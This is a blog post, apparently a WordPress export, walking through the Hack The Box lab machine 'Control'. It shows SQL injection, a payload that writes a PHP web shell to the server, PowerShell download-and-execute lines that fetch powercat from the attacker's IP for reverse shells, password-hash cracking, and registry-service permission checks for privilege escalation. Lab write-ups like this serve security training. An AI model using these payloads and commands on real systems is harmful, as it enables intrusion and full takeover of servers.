{"id":49,"date":"2020-05-03T09:02:24","date_gmt":"2020-05-03T09:02:24","guid":{"rendered":"https:\/\/shreyapohekar.com\/blogs\/?p=49"},"modified":"2020-05-13T12:51:45","modified_gmt":"2020-05-13T12:51:45","slug":"control-hackthebox-walkthrough","status":"publish","type":"post","link":"https:\/\/shreyapohekar.com\/blogs\/control-hackthebox-walkthrough\/","title":{"rendered":"Control : Hackthebox Walkthrough"},"content":{"rendered":"\n<p class=\"has-drop-cap\">Hey fellas!! This is Shreya Pohekar and today we\u2019ll be walking through Control from Hackthebox. It was a hard windows machine. The initial foothold (wwwroot) to the machine exploited a sql injection, where I uploaded a web shell using the vulnerability. Getting to the user was pretty straightforward as the sqlmap listed password hashes. Privilege escalation to root required us to read through a powershell history file, that retrieved us interesting commands to query registry. The user had full control over the registry services, therefore it can be abused to get an administrator shell.<\/p>\n\n\n\n<p>With all that said, Let\u2019s dive in!!<\/p>\n\n\n\n<p>Start with a nmap scan to find the open ports and services.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># nmap -sC -sV -o control.nmap 10.10.10.167<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/dQnmRHsYsShLtwSeQsT9VcrhQDcj6qtSG3nviN7cu8lH1KvTas-VIXMgkVjLRHQ0V6dLkCRIGzgg20XNmAqVmYNgSiJpaeY0sypqdzTocAu8ylrybY7BiG0Kh5-iLfkBBvrzM65F\" alt=\"\"\/><\/figure>\n\n\n\n<p>From the nmap scan, we can conclude that we might get our initial foothold from http.<\/p>\n\n\n\n<p>So let&#8217;s jump onto the site, <a href=\"http:\/\/10.10.10.167\">http:\/\/10.10.10.167<\/a> amd we get a page<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/Wg1vMt2X6KjYQ9qt6uwE6ZI2mSaq71tR1MZTgLHE3YpKjeD8K5OnecMJ4pBxglosmeHZXDfDSppVk63b3aQY8oxKh12MDTRVX77DlaHiCsQtcM6Gi8hPN4eXiS0VDWMyifNOuuS1\" alt=\"\"\/><\/figure>\n\n\n\n<p>There is a login button, but unfortunately, we cant access it. And it says to set up a proxy!!!!<\/p>\n\n\n\n<p>But which IP to forward the request through??<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/RoyLjnDKRnxqS4EviyLwQLLuZGwaLn0-IIhnlCecHKXNi9AmXRGo1FFu6GSGe58IabzG6C7hUG5jf45BcTVQ5ioIqH4DbJxOz-TqDSerKoVFWgSaCqnWO6Rr000AgRFoYT1mmQgR\" alt=\"\"\/><\/figure>\n\n\n\n<p>So after viewing the page source of the launcher page, I found this!!<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/3mVnXWEhwbCyQ0b-qqAw6Oi5QD7dZR6n3cSwHKBTtbs9ANWfh6z6SwxhAOZNXW3QqpWAwc66kJtTpHRr0KUfUyzkmxMd1T6b_AtpwwhUKw9iGs0jEWPxLJRqE51ecefgmOXXuOUE\" alt=\"\"\/><\/figure>\n\n\n\n<p>I got the IP to forward the request to. So setup burp and add the X-forwarded for header and the admin.php loads.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/uA9XZWboAeLVPgwedLs58N_y-_7sLjmXidbsybdCCIasQ9eXSU4iIC2g-XjwjNzWh4rQpsMSAH6anOkJHs8MX2pjFD0iEcr6wDJMZan8WJL3xskhk1TaP5Tiz00YKNTFCFVSKB5r\" alt=\"\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/4osSayY_894usuIsHQLjtirFCLJMJzZ7heC7aun5x_Q7_ojCeDBYd2QX6W3vj3XlJzgbFJqvQCj_QNikYokFKLWhLNRnIWd-TKief8EX32jqKmuE26K6IVev2AEE6grG36zm8GSN\" alt=\"\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/T0OfGqQVSNVPtiKMVHwxroYhSq8FTKIhkOQD5qnel88AlpJXPUkPJ0By1kFv5Wb2dCLb8_ZKO3SrsvcWjLGxSmT86JpTxs1qhdfAaw4I262P1tr7N_l_aZOxgKuQWsRzg2EfLzaB\" alt=\"\"\/><\/figure>\n\n\n\n<p>Scrolling through the page, option to create products,categories were implemented along with a search bar.<\/p>\n\n\n\n<p>I found out&nbsp; that there was a SQL injection on the search bar, so I manually formed queries to find out the database, users, number of tables. And got the following result<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/eQpd2J5NM9MxBjtO0Y2ZsKgjQodqh592dAKHI5hCqCM5lJSCvI1uGJ341VNC3PBdOq1egVLnJAi6zUD5RWAQatWgYXbmI-8tUps4plVqU5KfXCYrinVnX2q_6ZIlSSY8B3uYrqx9\" alt=\"\"\/><\/figure>\n\n\n\n<p>The database was found to be warehouse and the user was the manager.<\/p>\n\n\n\n<p>Alongside manual enumeration, I copied the request to a file, search.req and started a SQLMap.<\/p>\n\n\n\n<p style=\"background-color:#183055;color:#ffffff\" class=\"has-text-color has-background\"># sqlmap -r search.req &#8211;all &#8211;batch<\/p>\n\n\n\n<p>(&#8211;batch automates the yes\/no prompt by sqlmap)<\/p>\n\n\n\n<p>And found a lot of juicy stuff such as password to manager, password hash for hector and root.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/xcxny-h-Q60NqOKMK8Qo5BP-lyOve1nnBBQL7k99Gtkfib3jynttzaBvvTtvA6xa7QyJjD-MBvoZkYgG6FitcqMyJ8nYSE9QYATZX2a3cxMfTh-wk5krY6oFfxMCqYwSqhA799VX\" alt=\"\"\/><\/figure>\n\n\n\n<p>And few other password hashes<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/_g9Pou2pYJ98RzzRFnsD1vvogdBTm92CflqdxIKLE7RGUf4A_z-gy_cNFndyVUn3NZyuTGv_ntsWqQOntnkFE5JbCY3DEC46WcSdoCdA_e01NnAWiZV8KYhYDt8ZclUvwhRrtOaD\" alt=\"\"\/><\/figure>\n\n\n\n<p>After getting the password for the manager, I tried taking up the remote shells with evil-winrm, psexec.py, but it didn&#8217;t worked out. So now we need to somehow upload a shell on the box to get a reverse shell.<\/p>\n\n\n\n<p>I got this <a href=\"http:\/\/www.lifeoverpentest.com\/2017\/04\/shell-upload-sql-injection.html\">blog<\/a> that totally served the purpose.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/pE0gXBl8--MOpYzZz5uHVksp0IonSwpJYeoiaUXS_UWhg-WHqF1Zn32nhGIBQIqPacXbLrvFHAP9A7IpOyqpDKh6cDuiPG-HT2AkggLV5fCwlBEJXvUcTBox8tCizaHJBEJjDERY\" alt=\"\"\/><\/figure>\n\n\n\n<p>But we need to find out where to upload the shell. As we know that the default document root for IIS web server is C:\\inetpub\\wwwroot, I tried that to upload the shell.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/frsTzNNM-YlyFp8UkSqQpH8JiiTiEdDSXxtAfTvsugw6t6Fp3UlAk2IE9Edl9pYcqMZtA6bdtKr0ugJNs_9ngsj-nnObir3SU3giUgGUAcm_Hwj6h-qAkdBDqPOWroarulVAhBEG\" alt=\"\"\/><\/figure>\n\n\n\n<p>Since burp was continuously generating errors, I manipulated the payload I was using. And finally this payload worked<\/p>\n\n\n\n<p class=\"wpf-blue-background\">&#8216;; select &#8220;&lt;?php&nbsp; echo shell_exec($_GET[&#8216;cmd&#8217;]);?&gt;&#8221; into OUTFILE &#8216;C:\\\\inetpub\\\\wwwroot\\\\shell.php&#8217;;#<\/p>\n\n\n\n<p>The file gets uploaded, still it generates a general error.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/OY6EvXXtuRI90gU8S00qLU0qp53MG9tDw5onrZiAkMclK1qjwCHhcUjENINII6pWjhOkOUPGp4mamoNLbKL6inoQmamHP0_3aSQO971F7fK3RDrQQH9NryMK8EPgGU4xgJdQOS7J\" alt=\"\"\/><\/figure>\n\n\n\n<p>Time to take a reverse shell\u2026<\/p>\n\n\n\n<p>I used powercat.ps1 to obtain the reverse shell.<\/p>\n\n\n\n<p>Just add a line to the end of the file, that is gonna execute the script.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/RHrLh7toilGOh-2M5OZ67C6AIjLDLSSkMKw34vK2uvdj1-U-_jgQZB8n65B36pufywno0H2Wgy1kExxqBlDg4G5SQVURu6vTkmyG78DifEQVh_WLeZZqPbktvJrv8fogBaYXZInx\" alt=\"\"\/><\/figure>\n\n\n\n<p>Now go to the browser and write a command to grab the powercat.ps1 from the local machine<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">10.10.10.167\/shells.php?cmd=powershell \"iex(New-Object Net.WebClient).downloadString('http:\/\/10.10.14.81\/powercat.ps1');\"<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/TWdnYj6C_dcwEfwc9iiHddugFj0pAXKg8-n0qIQGyMirPPMSxoZva_IoNFy8eUnN9g68VjeOfnoW-y2I4PJtZv1m5UQG5RcbE9B5jCt-Najnj5_gIQD8glknFjhxEUt1fkxrt962\" alt=\"\"\/><\/figure>\n\n\n\n<p>Listen on port 443 for incoming connection and also setup a SimpleHTTPServer of python.<\/p>\n\n\n\n<p>As the command on the browser executes, we get a shell.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/DEfiXQmuXF1EwJ5Go1JHk_R-yxLaa-53fokaArBXlUpwhL0FkiYh4F3YdlJGrDbCwFvMHSZybN7XcPEQoUHdzjKSOsp_H0OQg3_bl6XK4N5pH_izfZWuaFUxW3aMLcDxr1RjLAkd\" alt=\"\"\/><\/figure>\n\n\n\n<p>Now grab winpeas.exe using the command:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/K99FVFgEWmJWk48JTMesOFBUk5pdknFMBpIUdJDy2s9AHwzsJ139qK5JTPIGxrxCJkXkhq66E6kYJ0cu1MkS1oeysqdezTrCQ744iwarQ21xAoWrCw_UAHMKwEfyRF3FKE5gJllb\" alt=\"\"\/><\/figure>\n\n\n\n<p>WinPEAS did not return any interesting results.<\/p>\n\n\n\n<p>But Alongside, sqlmap was completed and all the results were dumped to file inside \/root\/.sqlmap<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/F57OmDdXon2f2J_yC4_RUdj2t7g9l7PE11vxYOSEccHeDKKp08jqFKNmgCJuJZ77fUPXjkSAqephZl--iSAkuHaQr2FJ7UXmsTt3_Kn-LmKqGuytH-xRtlJtouFSKYL7RpNMzhQA\" alt=\"\"\/><\/figure>\n\n\n\n<p>I tried to crack the hashes that i previously obtained of hector and root using hashcat<\/p>\n\n\n\n<p>Hash-identifier gave the following result<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/ReQB8_Wg1LjcWy2rDCp3PS3TEtONVJXHvXEBQX_QaWR9bKD9tKeJuQtA05OnbbLnRekUaBXVbRgm4KPZ6w8_zgjyJZRarJ658382e8iXdxdP2-KIEhDgWYVCXZfZierm2bisZMgy\" alt=\"\"\/><\/figure>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># hashcat --example-hashes | grep -i -B2 mysql<\/pre>\n\n\n\n<p>In which mode 300 looked similar to what hash-identifier identified<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/6EZAfgtxU2hhbkiKAYXZil8LTCpwY0vohVFJjZzfX5TOmdtWaU05CfVf2L9gFYKV1GpKC5Su5mZhpQCajjHgUCSKXPjCxrB60u2g0nufX7IUPklukzl94AYJu0RGwCtdVo3EjadW\" alt=\"\"\/><\/figure>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># hashcat --user -m 300 user_hashes \/usr\/share\/wordlists\/rockyou.txt --force&nbsp;<\/pre>\n\n\n\n<p>This command can be used if there are more than one password hashes&nbsp; and the format is :-<\/p>\n\n\n\n<p>User:password_hash<\/p>\n\n\n\n<p>And the password cracked for hector<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/5BTcifBPm5MtGWOwTUpasY4Kp9OaK43mf079igQ_smNzW2327dGPJKGY9gdVCLC_g4sTUMJ_XYMNRShCd44Y33uRX1KeHNpuGHXfe_VBU1TxKPc77rP1hHCPQ4G1fyVH_ez2lCYN\" alt=\"\"\/><\/figure>\n\n\n\n<p>Now Back to our windows machine, we again take a reverse shell with the creds of hector. This time we are creating a PSCredential which takes in username in plain text and password in encrypted format. This method is useful in the use case of login automation. You can read about PSCredential from <a href=\"https:\/\/adamtheautomator.com\/powershell-get-credential\/\">here<\/a>.<\/p>\n\n\n\n<div class=\"wp-block-group wpf-blue-background\"><div class=\"wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow\">\n<p class=\"wpf-blue-background\"># $pass = ConvertTo-SecureString &#8216;l33th4x0rhector&#8217; -Asplain -Force<\/p>\n\n\n\n<p class=\"wpf-blue-background\"># $cred = New-Object System.Management.Automation.PSCredential(&#8216;.\\hector&#8217;, $pass)<\/p>\n\n\n\n<p class=\"wpf-blue-background\"># $cred<\/p>\n<\/div><\/div>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/dU3VhR7NiA9OPhCJ57Fw_6FNGv3vxcl2fcPIXcZ7UalQiBPlRE1iAo9gbJLUv9Ptedt3ArrEBQge_5XPsNbYCaKBig8LnyYMvmxE4VRZViYCJ102iVzgvE4VjQKtwuLNbpfZZYzV\" alt=\"\"\/><\/figure>\n\n\n\n<p>The hostname of the machine is Fidelity. Check it out with #hostname<\/p>\n\n\n\n<p>Now set up a python web server and spawn a nc listening on the specified port. The command below gives the reverse shell, but now with hector.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># invoke-command -Computer Fidelity -Credential $cred -ScriptBlock { IEX(New-Object Net.WebClient).downloadString('http:\/\/10.10.14.81\/powercat.ps1') }<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/5OHU4pZN6BU6JuJQmkt3afM9qrl-KFsxOegVB04VuImsVQY0vODBADjWTrF7CNAOS0UtR8b6F4_bFTcS0s3bib3W-UmvoKHN41_Bs79cPeVuA5vfMxcK8x37B9QBbSnb_8O7oecR\" alt=\"\"\/><\/figure>\n\n\n\n<p>Now we can grab our user.txt\u2026<\/p>\n\n\n\n<p>NOTE : Rlwrap nc -lnvp can be used in windows machine to get the arrow keys working<\/p>\n\n\n\n<p>So now time to root!<\/p>\n\n\n\n<p>Again I ran winPEAS.exe but didn&#8217;t find interesting results. Then got this file : PSReadline.<\/p>\n\n\n\n<p>This is a powershell history file ( similar to bash_history in linux). On listing its contents, I found 2 commands relating to registry.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/Ye1fSOXFsMW4wtx4qefDZG7CGwRtp6UdrMGJQ0xGbpTP7pxt6_THF49aoKWio_FeHdyKEOjWSmWcfykiWYWX80aCHF7NwOeErsuooWM9rukbfSX4sZYOwxWOvfpe-Kt-NNrMQzIW\" alt=\"\"\/><\/figure>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">&gt; get-childitem HKLM:\\SYSTEM\\CurrentControlset | format-list<\/pre>\n\n\n\n<p>The command lists all the services in the registry.<\/p>\n\n\n\n<pre  style=\"height:500px;width:650px;overflow:auto;padding:2%\" class=\"wp-block-preformatted\" class=\"wpf-blue-background\">get-childitem HKLM:\\SYSTEM\\CurrentControlset | format-list\n\n\nProperty  \t: {BootDriverFlags, CurrentUser, EarlyStartServices, PreshutdownOrder...}\nPSPath    \t: Microsoft.PowerShell.Core\\Registry::HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\\Control\nPSParentPath  : Microsoft.PowerShell.Core\\Registry::HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\nPSChildName   : Control\nPSDrive   \t: HKLM\nPSProvider\t: Microsoft.PowerShell.Core\\Registry\nPSIsContainer : True\nSubKeyCount   : 121\nView      \t: Default\nHandle    \t: Microsoft.Win32.SafeHandles.SafeRegistryHandle\nValueCount\t: 11\nName      \t: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\\Control\n\nProperty  \t: {NextParentID.daba3ff.2, NextParentID.61aaa01.3, NextParentID.1bd7f811.4, NextParentID.2032e665.5...}\nPSPath    \t: Microsoft.PowerShell.Core\\Registry::HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\\Enum\nPSParentPath  : Microsoft.PowerShell.Core\\Registry::HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\nPSChildName   : Enum\nPSDrive   \t: HKLM\nPSProvider\t: Microsoft.PowerShell.Core\\Registry\nPSIsContainer : True\nSubKeyCount   : 17\nView      \t: Default\nHandle    \t: Microsoft.Win32.SafeHandles.SafeRegistryHandle\nValueCount\t: 27\nName      \t: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\\Enum\n\nProperty  \t: {}\nPSPath    \t: Microsoft.PowerShell.Core\\Registry::HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\\Hardware Profiles\nPSParentPath  : Microsoft.PowerShell.Core\\Registry::HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\nPSChildName   : Hardware Profiles\nPSDrive   \t: HKLM\nPSProvider\t: Microsoft.PowerShell.Core\\Registry\nPSIsContainer : True\nSubKeyCount   : 3\nView      \t: Default\nHandle    \t: Microsoft.Win32.SafeHandles.SafeRegistryHandle\nValueCount\t: 0\nName      \t: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\\Hardware Profiles\n\nProperty  \t: {}\nPSPath    \t: Microsoft.PowerShell.Core\\Registry::HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\\Policies\nPSParentPath  : Microsoft.PowerShell.Core\\Registry::HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\nPSChildName   : Policies\nPSDrive   \t: HKLM\nPSProvider\t: Microsoft.PowerShell.Core\\Registry\nPSIsContainer : True\nSubKeyCount   : 0\nView      \t: Default\nHandle    \t: Microsoft.Win32.SafeHandles.SafeRegistryHandle\nValueCount\t: 0\nName      \t: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\\Policies\n\nProperty  \t: {}\nPSPath    \t: Microsoft.PowerShell.Core\\Registry::HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\\Services\nPSParentPath  : Microsoft.PowerShell.Core\\Registry::HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\nPSChildName   : Services\nPSDrive   \t: HKLM\nPSProvider\t: Microsoft.PowerShell.Core\\Registry\nPSIsContainer : True\nSubKeyCount   : 667\nView      \t: Default\nHandle    \t: Microsoft.Win32.SafeHandles.SafeRegistryHandle\nValueCount\t: 0\nName      \t: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\\Services\n\nProperty  \t: {}\nPSPath    \t: Microsoft.PowerShell.Core\\Registry::HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\\Software\nPSParentPath  : Microsoft.PowerShell.Core\\Registry::HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\nPSChildName   : Software\nPSDrive   \t: HKLM\nPSProvider\t: Microsoft.PowerShell.Core\\Registry\nPSIsContainer : True\nSubKeyCount   : 1\nView      \t: Default\nHandle    \t: Microsoft.Win32.SafeHandles.SafeRegistryHandle\nValueCount\t: 0\nName      \t: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\\Software\n\n<\/pre>\n\n\n\n<p>The get-acl cmdlet get you the &nbsp;security descriptor for a resource, such as a file or registry key. The Sddl contains the Access control of the resource. <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>get-acl HKLM:\\SYSTEM\\CurrentControlSet | format-list\n\n\nPath   : Microsoft.PowerShell.Core\\Registry::HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\nOwner  : BUILTIN\\Administrators\nGroup  : NT AUTHORITY\\SYSTEM\nAccess : BUILTIN\\Administrators Allow  FullControl\n     \tNT AUTHORITY\\Authenticated Users Allow  ReadKey\n     \tNT AUTHORITY\\Authenticated Users Allow  -2147483648\n     \tS-1-5-32-549 Allow  ReadKey\n     \tS-1-5-32-549 Allow  -2147483648\n     \tBUILTIN\\Administrators Allow  FullControl\n     \tBUILTIN\\Administrators Allow  268435456\n     \tNT AUTHORITY\\SYSTEM Allow  FullControl\n     \tNT AUTHORITY\\SYSTEM Allow  268435456\n     \tCREATOR OWNER Allow  268435456\n     \tAPPLICATION PACKAGE AUTHORITY\\ALL APPLICATION PACKAGES Allow  ReadKey\n     \tAPPLICATION PACKAGE AUTHORITY\\ALL APPLICATION PACKAGES Allow  -2147483648\n     \tS-1-15-3-1024-1065365936-1281604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934681 Allow  \n     \tReadKey\n     \tS-1-15-3-1024-1065365936-1281604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934681 Allow  \n     \t-2147483648\nAudit  :\nSddl   : O:BAG:SYD:AI(A;;KA;;;BA)(A;ID;KR;;;AU)(A;CIIOID;GR;;;AU)(A;ID;KR;;;SO)(A;CIIOID;GR;;;SO)(A;ID;KA;;;BA)(A;CIIOI\n     \tD;GA;;;BA)(A;ID;KA;;;SY)(A;CIIOID;GA;;;SY)(A;CIIOID;GA;;;CO)(A;ID;KR;;;AC)(A;CIIOID;GR;;;AC)(A;ID;KR;;;S-1-15-\n     \t3-1024-1065365936-1281604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934681)(A;CIIOID;GR;;;S\n     \t-1-15-3-1024-1065365936-1281604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934681)\n<\/code><\/pre>\n\n\n\n<p>Based on the above 2 results, I found out that Hector has full control over registry.<\/p>\n\n\n\n<p>As a note, commands lists SDDL\u2019s. Security Descriptor Definition Language (SDDL) is a formal way to specify Microsoft Windows&nbsp; security descriptors or text strings that describe who owns various objects such as files in the system. The security descriptor may also provide an ACL for an object or its group.<\/p>\n\n\n\n<div class=\"wp-block-group wpf-blue-background\"><div class=\"wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow\">\n<p class=\"wpf-blue-background\"># $acl = get-acl HKLM:\\System\\CurrentControlSet\\Services<\/p>\n\n\n\n<p class=\"wpf-blue-background\"># ConvertFrom-SddlString -Sddl $acl.Sddl -type RegistryRights | Foreach-Object {$_.DiscretionaryAcl}<\/p>\n<\/div><\/div>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/zCWVd_NthfR691iLeKt0Pb-IP_mj-7QIFwOoDVQMR_0fYRtzybk2tQLZMS-0O6dwl6vzPmlIT42dB5uvuWEzUH_pR7HbtU5hrA_31ueHuoOmovcTcvUM315gML3Q1KWruDyPvAYE\" alt=\"\"\/><\/figure>\n\n\n\n<p>So that&#8217;s a much readable form of hector having full control over the registry services.<\/p>\n\n\n\n<div class=\"wp-block-group wpf-blue-background\"><div class=\"wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow\">\n<p class=\"wpf-blue-background\"># cd HKLM:<\/p>\n\n\n\n<p class=\"wpf-blue-background\"># cd SYSTEM\\CurrentControlSet\\Serivces<\/p>\n<\/div><\/div>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/nUdk3pdJhQd9ug0FPpmwHCkhzAQiA-UKa3eH6YbbLS-P0e8pvyP2tzBLxJe4LkFCcWi1jYGeSqRv_l-VJzhomXDLhTIZjm5DUf9EdX35-6DE9tN6hueYQEp5169kzVVNsOtpaeyb\" alt=\"\"\/><\/figure>\n\n\n\n<p>We need to find all the services running as LocalSystem, so that we can modify them and get a reverse shell as NT Authority.<\/p>\n\n\n\n<p>The service (running as local system) should have startup type as manual and also we should have the permission to start and stop the service.<\/p>\n\n\n\n<p>Start : 3 (Signifies manual mode)<\/p>\n\n\n\n<p>ImagePath (This is from where the service loads the executables. Therefore we have to bind our shell here)<\/p>\n\n\n\n<p>ObjectName : LocalSystem (advantage of running under the LocalSystem account is that the service has complete unrestricted access to local resources. )<\/p>\n\n\n\n<p>Now, I\u2019ll be sorting the services based upon the above three described parameters.<\/p>\n\n\n\n<div class=\"wp-block-group wpf-blue-background\"><div class=\"wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow\">\n<p class=\"wpf-blue-background\"># cd SYSTEM\\CurrentControlSet\\Services<\/p>\n\n\n\n<p class=\"wpf-blue-background\"># $services = Get-ItemProperty -Path *<\/p>\n<\/div><\/div>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/F-_ehpn7HGKiBEps-QNklQIT4HJURZK8_mlVcBkxz1bI8Zl13oMEFlhvhzITvI6uKKloeWZbqwYp4TmqmAD7lxUypOe_tgDowM8CW0PT1bIgbG0xnOpJN8Ip6TjMpFiZHTfNig_H\" alt=\"\"\/><\/figure>\n\n\n\n<div class=\"wp-block-group wpf-blue-background\"><div class=\"wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow\">\n<p class=\"wpf-blue-background\"># $temp = $services | where { ($_.ObjectName -match &#8216;LocalSystem&#8217;)}<\/p>\n\n\n\n<p class=\"wpf-blue-background\"># $temp | select PSChildName | measure<\/p>\n<\/div><\/div>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/3P9ClOWt-wwnvQVJAE3732ApfBgoAqWj8xXqL-rlSYGDx000HJZeyoEBkjcz6_ntXd_ph79xxTagZjeLuG5rYoDJV7CcUkFABeMjIOxwOn8KFuksf5PCWvG7Kp7ijNeVqWqlOgBa\" alt=\"\"\/><\/figure>\n\n\n\n<div class=\"wp-block-group wpf-blue-background\"><div class=\"wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow\">\n<p class=\"wpf-blue-background\"># $temp = $services | where { ($_.ObjectName -match &#8216;LocalSystem&#8217;) -and ($_.Start -match &#8216;3&#8217;) }<\/p>\n\n\n\n<p class=\"wpf-blue-background\"># $temp | select PSChildName | measure<\/p>\n<\/div><\/div>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/KLXMOpgZ0whAOUwaWAJ71NMGhLAOlZUH_9Xkxc-xePfBU7B2wL_DzEU4aq-AxRJJ-sNtgnGazYrtF6y6BZ7gkO321E72-Ngsza1aNePedM8N3BdMuAtyLmldVbQax-qkjCnEw-Vo\" alt=\"\"\/><\/figure>\n\n\n\n<p>So after sorting, I found out that wuauserv (Windows Update Service) is one such service that matches the criteria. So let&#8217;s exploit!!<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># sc.exe sdshow wuauserv<\/pre>\n\n\n\n<p>The images below show the SDDL set upon the wuauserv service, which makes it exploitable.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/iAZa0v9kwZR06S5vhOxhD_3ai6BczcVXQyfHWUGd598KAo9nbxlQfb_dZM_KySkNJpAoLXNSt8EWlgpEP24CIkfRlNLthSK1MbpQpAvNLuWanWZsfpU5gABbkqN2SU-hNRqVKLwD\" alt=\"\"\/><\/figure>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># ConvertFrom-SddlString -Sddl \u201cD:(A;;CCLCSWRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)\u201d | Foreach-Object {$_.DiscretionaryAcl}<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/7DDFSu2yfjUR_VmdzL2XOUFjKGoQKdhmsgzlP89UdcTO2LBPLCMXbkHHd09DGIsRpTMlpvScX0Qm7wrbhz_BRl-RbqHLaS7sJ83UR8fF9QHqErG7NXBv78QElEHWTSbGTmZ-ee95\" alt=\"\"\/><figcaption>A more readable format that represents the sddl of wuauserv service<\/figcaption><\/figure>\n\n\n\n<p>Aftering querying the service we find out that it is stopped. That\u2019s what we wanted because Hector dont have the permission to stop the running service.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" 